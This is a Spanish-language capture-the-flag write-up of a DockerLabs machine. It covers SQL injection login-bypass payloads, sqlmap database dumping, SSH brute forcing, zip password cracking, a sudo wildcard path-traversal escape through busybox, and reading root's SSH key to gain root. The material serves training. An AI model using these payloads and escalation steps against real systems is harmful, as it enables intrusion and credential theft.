> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/dockerlabs/inj3ct0rss-medium.md).

# inj3ct0rss - Medium

Este documento narra la metodología y los pasos seguidos para comprometer este ctf llamado inj3ct0rss

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FngTY5Ep6R5ftXljKBKw3%2Fimage.png?alt=media&amp;token=df41d5ae-474c-4e2d-8ad1-68f245eeffeb" alt=""><figcaption></figcaption></figure>

Reconocimiento y Enumeración

Arrancamos realizando un reconocimiento inicial sobre el host objetivo para identificar qué servicios se encuentran expuestos.

Para ello ejecutamos un escaneo completo de puertos con Nmap, ignorando comprobaciones de ICMP (`-Pn`) y habilitando salida detallada (`-vv`):

```
nmap -Pn -vv -p- 172.17.0.2
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FmSwVx0OMeiwlmK6gY0Le%2Fimage.png?alt=media&amp;token=f92613c3-eb15-4899-9ce1-9237e8069304" alt=""><figcaption></figcaption></figure>

El resultado nos revela que los puertos **22/tcp (SSH)** y **80/tcp (HTTP)** están abiertos, lo cual establece los primeros vectores de ataque disponibles.

A partir de esta información, procedemos a un escaneo de detección de versiones y scripts comunes de enumeración (`-sCV`) con el fin de obtener detalles sobre los servicios en ejecución:

```
nmap -Pn -sCV -vv -p22,80 172.17.0.2
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fcxg3Q8FqXf4WCyerqfq0%2Fimage.png?alt=media&amp;token=d9639fd0-bdd5-4ca6-827a-ddbafcbc7d5c" alt=""><figcaption></figcaption></figure>

Esta fase nos permite identificar tecnologías, versiones específicas y posibles puntos débiles que podremos explotar más adelante, tanto en el servicio web como en el acceso SSH.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F4k488U3fP4E7p3BJAEoB%2Fimage.png?alt=media&amp;token=11bcd07d-9bb0-4945-b6b3-5194e51550da" alt=""><figcaption></figcaption></figure>

En el mismo hay un mensaje donde se nos da la bienvenida a un portal que nos explicara las caracteristicas del CTF que pondra a prueba nuestras habilidades

```
Sqlinjection
Exploit de vulnerabilidades web
Criptografia y esteganografia
Escalamiento de privilegios
```

Realizamos deteccion de las tecnologias empleadas por la web

```
whatweb http://172.17.0.2

http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, 
HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], 
Title[Inj3ct0rs CTF - Página Principal]
```

&#x20;Para descubrir archivos olvidados, backups, endpoints no listados

```
Rutas
gobuster dir -u http://172.17.0.2/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 20 --add-slash

Archivos
gobuster dir -u http://172.17.0.2/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 20 -x php,php.back,backup,txt,sh,html,js,java,py
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FH5CyfXZx7G5rLF8ArZAW%2Fimage.png?alt=media&amp;token=82ea5b9f-7d96-4e29-9ef3-f12e2d930669" alt=""><figcaption></figcaption></figure>

`ACCESO INICIAL (Explotación Web / SQLi)`

```
Firefox 172.17.0.2/login.php
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FwWswFzoQEUMkAYGYEwcp%2Fimage.png?alt=media&amp;token=dbf84cda-a26a-45e8-9bff-0626e0b370d1" alt=""><figcaption></figcaption></figure>

De forma manual pruebo algunas **SQLQueryes** para intentar bypassear el panel de login

```
'
"
admin'
admin"
admin'--
admin"--
admin'#
admin"#
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'-- -
admin' or '1'='1'#
admin' or '1'='1'/*
admin' or true-- -
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'-- -
admin' or sleep(5)-- -
admin' or 1=1 limit 1-- -
admin' or '1'='1' limit 1-- -
```

Despues de probar algunos payloads logro tener exito con&#x20;

```
admin' or sleep(5)-- -
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FX1vUmPv1cgLRqqjZSTfe%2Fimage.png?alt=media&amp;token=1c81c3fb-f7bb-46c9-98e9-f255c0dbca2e" alt=""><figcaption></figcaption></figure>

Al tener exito nos redirige a: [`http://172.17.0.2/content_pages_hidden/welcome.php`](http://172.17.0.2/content_pages_hidden/welcome.php)

Sabiendo que el login es vulnerable a **inyeccion SQL** usaremos la herramienta **SQLMap** para automatizar la inyeccion.

Primero interceptamos la solicitud para luego realizar un descrubrimiento sobre las bases de datos:

```
sqlmap -r r --dbs --batch

information_schema
injectors_db
mysql,performance_schema
sys
```

Tablas de: **injectors\_db**

```
sqlmap -u "http://172.17.0.2/content_pages_hidden/db.php" \ --data="username=asda&password=aaaaad" \ --method=POST \ --batch \ -D injectors_db \ --tables
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FdOkG0PLbMDthqnMsQXmT%2Fimage.png?alt=media&amp;token=38be3989-97e9-4f96-9ff1-d812b6e681ba" alt=""><figcaption></figcaption></figure>

`Columns`

```
sqlmap -u "http://172.17.0.2/content_pages_hidden/db.php" \ --data="username=asda&password=aaaaad" \ --method=POST \ --batch \ -D injectors_db \ -T users \ --columns
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FGOCrcLOFWt1DBcsmR7DR%2Fimage.png?alt=media&amp;token=dc7ee845-a87c-4b53-8914-1a28ec2bdc04" alt=""><figcaption></figcaption></figure>

`Dump:`&#x20;

```
sqlmap -u "http://172.17.0.2/content_pages_hidden/db.php" \ --data="username=asda&password=aaaaad" \ --method=POST \ --batch \ -D injectors_db \ -T users \ --dump
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fq3JOO00gJ3VbtAyMdcJ9%2Fimage.png?alt=media&amp;token=68f3dad2-7dc7-42bb-a00a-84bf791d5178" alt=""><figcaption></figcaption></figure>

`MOVIMIENTO LATERAL`

Probamos las credenciales con ssh que se aloja en el puerto 22:

```
hydra -L users.txt -P passwords.txt -f ssh://172.17.0.2
```

Ahora miraremos en este directorio **no\_mirar\_en\_este\_directorio**:

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fx5DzUFGus3GmvDONSZYS%2Fimage.png?alt=media&amp;token=76a6339b-9450-4b96-a3f3-04e4a99afdf9" alt=""><figcaption></figcaption></figure>

Lo descargamos y al intentar descomprimir el archivo nos pide una contrasena que no tenemos

Asi que realizaremos un ataque de fuerza bruta para descubrir la clave que nos permita descomprimir el archivo:

```
zip2john secret.zip > hash 
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FHlwhN2MmAmpLdP0JvECj%2Fimage.png?alt=media&amp;token=4f8077ef-3bb0-44e5-aa94-e49b3ea6a842" alt=""><figcaption></figcaption></figure>

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Ahora volvemos a descomprirmir el archivo ya con la contrasena:
7z x secret.zip
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FwtYK58c38CoLsVGHF0TI%2Fimage.png?alt=media&amp;token=3e4a9639-c272-49d9-b9b6-138e1dfff3a3" alt=""><figcaption></figcaption></figure>

Ahora si logramos que se descomprima y leer el contenido obteniendo credenciales de ralf

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FFfT7D97wOfT5dYE8VQSS%2Fimage.png?alt=media&amp;token=191e759b-4d59-4785-b1e2-4fd7fca1365f" alt=""><figcaption></figcaption></figure>

```
ralf:supersecurepassword
```

&#x20;                  `Y`a contando con otras credenciales para el usuario ralf, probamos nuevamente la conexion via ssh

```
ssh ralf@172.17.0.2 
```

Después de obtener acceso inicial al sistema como un usuario de bajo privilegio, el siguiente paso lógico es identificar qué capacidades adicionales posee este usuario dentro del sistema. Una de las formas más directas de detectar rutas potenciales de escalada es revisar los comandos permitidos por la política de sudoers.

Este análisis permite determinar:

* si el usuario puede ejecutar ciertos comandos con `sudo`,
* si esos comandos requieren o no contraseña,
* a qué usuario puede impersonar (incluido root),
* y si existen restricciones aplicadas, como rutas limitadas, binarios específicos o uso de comodines.

Con esta información es posible identificar configuraciones débiles que permitan ejecutar binarios privilegiados, escapar entornos restringidos o incluso obtener acceso total como root.

<pre><code><a data-footnote-ref href="#user-content-fn-1">sudo </a>-l
</code></pre>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fb2PtsKK1XbP2asfPPhIa%2Fimage.png?alt=media&amp;token=c436affd-6427-4c34-8837-7c531f9a6d5f" alt=""><figcaption></figcaption></figure>

```
ralf puede ejecutar BusyBox como el usuario “capa” sin contraseña
capa : capa  el comando se ejecuta como el usuario capa
NOPASSWD:  no requiere contraseña

/usr/local/bin/busybox /nothing/*:
solo permite ejecutar BusyBox dentro del directorio /nothing/
```

Hasta ahí, parece un permiso limitado.\
Pero BusyBox es un arma multiuso.

**BusyBoxs**

**BusyBox es un binario monolítico que contiene decenas de utilidades Unix**, incluyendo `sh`.\
Cuando lo ejecutás de forma privilegiada, podés invocar cualquiera de sus “applets”.

El administrador intentó restringir el binario usando un **wildcard**:

```
/usr/local/bin/busybox /nothing/*
Pero este patrón no evita que el atacante manipule la ruta para ejecutar otros binarios.
```

El sudoers solo controla **el prefijo**, no el contenido expandido del wildcard.\
Por lo tanto, se puede escapar del directorio `/nothing/` usando:

```
/nothing/../../usr/bin/sh
```

Cuando sudo expande el comodín `*`, **no valida que la ruta final siga dentro de /nothing/**.

Esto permite ejecutar un **sh real** (no restringido) como el usuario “capa”:

<pre><code><a data-footnote-ref href="#user-content-fn-1">sudo </a>-u capa /usr/local/bin/busybox /nothing/../../usr/bin/sh
</code></pre>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FmqZA5ZN4xYo3c2PVv5xM%2Fimage.png?alt=media&amp;token=70605709-fd57-42df-b9dc-a6c7993353d7" alt=""><figcaption></figcaption></figure>

Una vez dentro del sistema con una shell real como el usuario **capa**, el control del entorno ya no está restringido por el wildcard `/nothing/*`

A este nivel, podemos ejecutar cualquier comando permitido para este usuario dentro de la política sudoers.

Al revisar nuevamente las capacidades de sudo para *capa*

Encontramos que este usuario tiene permisos excesivos que le permiten ejecutar el binario `/bin/cat` como **root**, sin necesidad de contraseña. Esto convierte la shell de *capa* en un punto de pivot ideal para acceder a información sensible

Primero leemos el archivo encontrado en el directorio /home de capa obteniendo su contraseña

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FmqZA5ZN4xYo3c2PVv5xM%2Fimage.png?alt=media&amp;token=70605709-fd57-42df-b9dc-a6c7993353d7" alt=""><figcaption></figcaption></figure>

Entre los archivos accesibles como root se encuentra:

<pre><code><a data-footnote-ref href="#user-content-fn-1">sudo </a>-u capa /usr/local/bin/busybox /nothing/../../usr/bin/sh
</code></pre>

/root/.ssh/id\_rsa

`sudo -u root /bin/cat /root/.ssh/id_rsa`

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FkzRTJ0Pi2zCYqVfmhtOc%2Fimage.png?alt=media&amp;token=6799af70-ad4c-464d-af21-60ec982c8762" alt=""><figcaption></figcaption></figure>

Asi obtenemos la clave rsa del usuario root con el cual podremos logrearnos en el protocolo ssh con privilegios

COMPROMISO TOTAL

Le damos los permisos necesarios

`chmod 600 id_rsa`

Asi obtenemos la clave rsa del usuario root con el cual podremos logrearnos en el protocolo ssh con privilegios

<pre><code><a data-footnote-ref href="#user-content-fn-1">sudo </a>-u capa /usr/local/bin/busybox /nothing/../../usr/bin/sh
</code></pre>

`ssh -i id_rsa root@localhost` o `ssh -i id_rsa root@172.17.0.2`

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FlmaRpXc7ymXmz0cOfnpr%2Fimage.png?alt=media&amp;token=a80b08ab-43cf-4734-b3ab-3f9cf184401f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FCNU8Dxxv7tzR2ldbUirI%2Fimage.png?alt=media&amp;token=5d58e02b-b8ed-4571-a29f-0ed09f81fe65" alt=""><figcaption></figcaption></figure>

`pwned!!!`

`Regresamossss`

[^1]:


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/dockerlabs/inj3ct0rss-medium.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
